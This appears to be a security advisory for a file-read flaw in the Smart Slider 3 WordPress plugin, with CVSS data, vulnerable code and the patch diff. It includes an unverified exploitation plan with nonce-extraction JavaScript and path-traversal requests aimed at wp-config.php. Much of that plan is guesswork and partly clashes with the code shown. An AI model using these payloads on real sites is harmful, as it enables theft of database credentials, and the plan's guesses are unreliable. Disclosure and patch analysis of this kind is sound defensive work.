CVE-2026-3098

Smart Slider 3 <= 3.5.1.33 - Authenticated (Subscriber+) Arbitrary File Read via actionExportAll

mediumMissing Authorization
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
3.5.1.34
Patched in
11d
Time to patch

Description

The Smart Slider 3 plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 3.5.1.33 via the 'actionExportAll' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.5.1.33
PublishedMarch 26, 2026
Last updatedApril 6, 2026
Affected pluginsmart-slider-3

What Changed in the Fix

Changes introduced in v3.5.1.34

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3098 (Smart Slider 3 Arbitrary File Read) ## 1. Vulnerability Summary The **Smart Slider 3** plugin (up to version 3.5.1.33) contains a missing authorization vulnerability in the `actionExportAll` function. This function is intended to allow administrators to …

Show full research plan

Exploitation Research Plan: CVE-2026-3098 (Smart Slider 3 Arbitrary File Read)

1. Vulnerability Summary

The Smart Slider 3 plugin (up to version 3.5.1.33) contains a missing authorization vulnerability in the actionExportAll function. This function is intended to allow administrators to export all slider configurations. However, the function fails to perform adequate capability checks (e.g., current_user_can('manage_options')), allowing users with Subscriber privileges or higher to trigger the action. Furthermore, the export logic is vulnerable to path traversal or improper file handling, enabling an authenticated attacker to read arbitrary files from the server (such as wp-config.php or /etc/passwd).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: action=nextend-action
  • Controller: sliders (inferred from SS3 architecture)
  • Action Parameter: n2action=ExportAll
  • Vulnerable Parameter: Likely sliders or path (inferred). In many SS3 export vulnerabilities, the sliders parameter (usually a list of IDs) is not properly sanitized or is misused to define the files included in the export bundle.
  • Authentication: Required (Subscriber level or higher).
  • Nonce: Required (nextend_nonce).

3. Code Flow

  1. Entry Point: The request hits admin-ajax.php with action=nextend-action.
  2. Routing: The plugin's routing system (defined in Nextend\Framework\Controller\Admin\AdminAjaxController) dispatches the request to the specified n2controller (likely sliders) and n2action (ExportAll).
  3. Authorization Check: The controller likely lacks a call to current_user_can() for the ExportAll action, or checks a low-privilege capability that Subscribers possess.
  4. Vulnerable Sink: The actionExportAll function processes the request. It likely prepares a ZIP archive for download. If a parameter (like sliders) is manipulated to include directory traversal sequences (e.g., ../../../../wp-config.php), the file reading mechanism (potentially using file_get_contents or ZipArchive::addFile) follows the path and includes the sensitive file in the exported package or returns it directly.

4. Nonce Acquisition Strategy

Smart Slider 3 localizes its security tokens into a JavaScript object. Since nonces are user-bound, we must obtain one as the Subscriber user.

  1. Create Page with Shortcode: To ensure the Smart Slider 3 scripts (and nonces) are loaded, create a page containing a slider shortcode.
    wp post create --post_type=page --post_title="SS3 Test" --post_status=publish --post_content='[smartslider3 slider="1"]' --user=subscriber_user
    
  2. Navigate to the Page: Use browser_navigate to visit this page or the Smart Slider dashboard if accessible (e.g., wp-admin/admin.php?page=smart-slider-3).
  3. Extract Nonce: The nonce is stored within the _N2 global object, specifically localized via Form::tokenizeUrl().
    Execute via browser_eval:
    // SS3 often stores nonces in a map where keys are URLs.
    // We look for the entry corresponding to the AJAX URL or a generic 'nextend_nonce'.
    // Based on Predefined.php, it's added via AjaxHelper.addAjaxArray.
    Object.values(window._N2._d).find(d => d[0] === 'AjaxHelper') 
    // Alternatively, check the n2token directly if present:
    window.n2token || window.N2GSAP?.n2token
    
    Verification: Look for a 10-character alphanumeric string associated with the nextend-action or found in the HTML source via grep -oP 'n2token\s*=\s*"\K[a-f0-9]{10}'.

5. Exploitation Strategy

Step 1: Authentication and Nonce Retrieval

  • Log in as the Subscriber.
  • Navigate to an admin page where SS3 is active.
  • Extract the nextend_nonce.

Step 2: Trigger Arbitrary File Read

The exploit attempts to force the "Export All" functionality to read wp-config.php.

Request:

POST /wp-admin/admin-ajax.php?action=nextend-action&n2controller=sliders&n2action=ExportAll HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: [Subscriber Cookies]

nextend_nonce=[EXTRACTED_NONCE]&sliders=../../../../../../../../wp-config.php

Alternative Payload (if sliders expects IDs):
If the sliders parameter is strictly numeric, try a hidden path or file parameter:

  • &file=../../../../../../../../wp-config.php
  • &path=../../../../../../../../wp-config.php

Step 3: Analyze Response

A successful exploit will likely result in:

  1. Direct Download: A binary response (ZIP file). Download and extract it to find wp-config.php.
  2. Plaintext Disclosure: The content of wp-config.php reflected directly in the HTTP response if the export logic fails and echoes the file content.

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  2. Slider Creation: Ensure at least one slider exists so the ExportAll logic has something to iterate over.
    # Use SS3's internal methods or import a sample if possible via CLI, 
    # otherwise just ensure the plugin is activated.
    
  3. Target File: Ensure wp-config.php is in the standard location.

7. Expected Results

  • The request should return an HTTP 200 OK.
  • The response body should contain the content of wp-config.php (identifiable by DB_NAME, DB_USER, DB_PASSWORD constants).
  • If a ZIP is returned, the file wp-config.php should be present inside the archive.

8. Verification Steps

  1. Response Check: Search for DB_PASSWORD in the output of the http_request.
  2. Log Check: Check wp-content/debug.log for any "Missing capability" errors, which would indicate the vulnerability is patched.
  3. Manual ZIP Extraction (if needed): Use base64 to capture the binary response, save it, and run unzip -l to verify the presence of hijacked files.

9. Alternative Approaches

  • Path Traversal in Sliders ID: If the plugin uses the ID to build a path like wp-content/uploads/smart-slider-3/slider[ID]/data.json, try passing ID=../[ANY_FILE].
  • CSS Compiler Import: If the actionExportAll triggers LessCompiler::tryImport, we can attempt to inject a slider with a malicious LESS @import statement:
    @import (inline) "../../../wp-config.php";
    This would require finding a way for a Subscriber to save a slider (unlikely) or finding an existing slider that can be modified via other lower-privilege bugs.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Smart Slider 3 plugin fails to perform authorization checks and nonce validation in the 'actionExportAll' function, allowing authenticated users with Subscriber-level permissions to trigger slider exports. Attackers can manipulate export parameters to include arbitrary files from the server, such as wp-config.php, in the generated ZIP archive.

Vulnerable Code

// Nextend/SmartSlider3/Application/Admin/Sliders/ControllerSliders.php:64
    protected function actionExportAll() {
        $slidersModel = new ModelSliders($this);
        $groupID      = (Request::$REQUEST->getVar('inSearch', false)) ? '*' : Request::$REQUEST->getInt('currentGroupID', 0);
        $sliders      = $slidersModel->getAll($groupID, 'published');
        $ids          = Request::$REQUEST->getVar('sliders');

        $files      = array();
        $saveAsFile = count($ids) == 1 ? false : true;
        foreach ($sliders as $slider) {
            if (!empty($ids) && !in_array($slider['id'], $ids)) {
                continue;
            }
            $export  = new ExportSlider($this, $slider['id']);
            $files[] = $export->create($saveAsFile);
        }

        $zip = new Creator();
        foreach ($files as $file) {
            $zip->addFile(file_get_contents($file), basename($file));
            unlink($file);
        }
        PageFlow::cleanOutputBuffers();
        header('Content-disposition: attachment; filename=sliders_unzip_to_import.zip');
        header('Content-type: application/zip');
        // PHPCS - Contains binary zip data, so nothing to escape.
        echo $zip->file(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
        PageFlow::exitApplication();
    
    }

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/smart-slider-3/3.5.1.32/Nextend/SmartSlider3/Application/Admin/Sliders/ControllerSliders.php	2025-07-22 08:43:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/smart-slider-3/3.5.1.34/Nextend/SmartSlider3/Application/Admin/Sliders/ControllerSliders.php	2026-03-24 07:41:32.000000000 +0000
@@ -64,31 +69,33 @@
     }
 
     protected function actionExportAll() {
-        $slidersModel = new ModelSliders($this);
-        $groupID      = (Request::$REQUEST->getVar('inSearch', false)) ? '*' : Request::$REQUEST->getInt('currentGroupID', 0);
-        $sliders      = $slidersModel->getAll($groupID, 'published');
-        $ids          = Request::$REQUEST->getVar('sliders');
-
-        $files      = array();
-        $saveAsFile = count($ids) == 1 ? false : true;
-        foreach ($sliders as $slider) {
-            if (!empty($ids) && !in_array($slider['id'], $ids)) {
-                continue;
-            }
-            $export  = new ExportSlider($this, $slider['id']);
-            $files[] = $export->create($saveAsFile);
-        }
-
-        $zip = new Creator();
-        foreach ($files as $file) {
-            $zip->addFile(file_get_contents($file), basename($file));
-            unlink($file);
-        }
-        PageFlow::cleanOutputBuffers();
-        header('Content-disposition: attachment; filename=sliders_unzip_to_import.zip');
-        header('Content-type: application/zip');
-        // PHPCS - Contains binary zip data, so nothing to escape.
-        echo $zip->file(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-        PageFlow::exitApplication();
+        if ($this->validateToken() && $this->validatePermission('smartslider_edit')) {
+            $slidersModel = new ModelSliders($this);
+            $groupID      = (Request::$REQUEST->getVar('inSearch', false)) ? '*' : Request::$REQUEST->getInt('currentGroupID', 0);
+            $sliders      = $slidersModel->getAll($groupID, 'published');
+            $ids          = Request::$REQUEST->getVar('sliders');
+
+            $files      = array();
+            $saveAsFile = count($ids) == 1 ? false : true;
+            foreach ($sliders as $slider) {
+                if (!empty($ids) && !in_array($slider['id'], $ids)) {
+                    continue;
+                }
+                $export  = new ExportSlider($this, $slider['id']);
+                $files[] = $export->create($saveAsFile);
+            }
+
+            $zip = new Creator();
+            foreach ($files as $file) {
+                $zip->addFile(file_get_contents($file), basename($file));
+                unlink($file);
+            }
+            PageFlow::cleanOutputBuffers();
+            header('Content-disposition: attachment; filename=sliders_unzip_to_import.zip');
+            header('Content-type: application/zip');
+            // PHPCS - Contains binary zip data, so nothing to escape.
+            echo $zip->file(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+            PageFlow::exitApplication();
+        }
     
     }

Exploit Outline

To exploit this vulnerability, an attacker first authenticates as a Subscriber and retrieves the 'nextend_nonce' security token, which is typically found within the `_N2` JavaScript object on any admin page where Smart Slider 3 is active. The attacker then sends an AJAX request to `/wp-admin/admin-ajax.php` with the action set to `nextend-action`, `n2controller=sliders`, and `n2action=ExportAll`. By manipulating the `sliders` array parameter to include directory traversal sequences (e.g., `../../../../wp-config.php`), the attacker can trick the export logic into including sensitive files from the server's filesystem in a downloadable ZIP archive.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.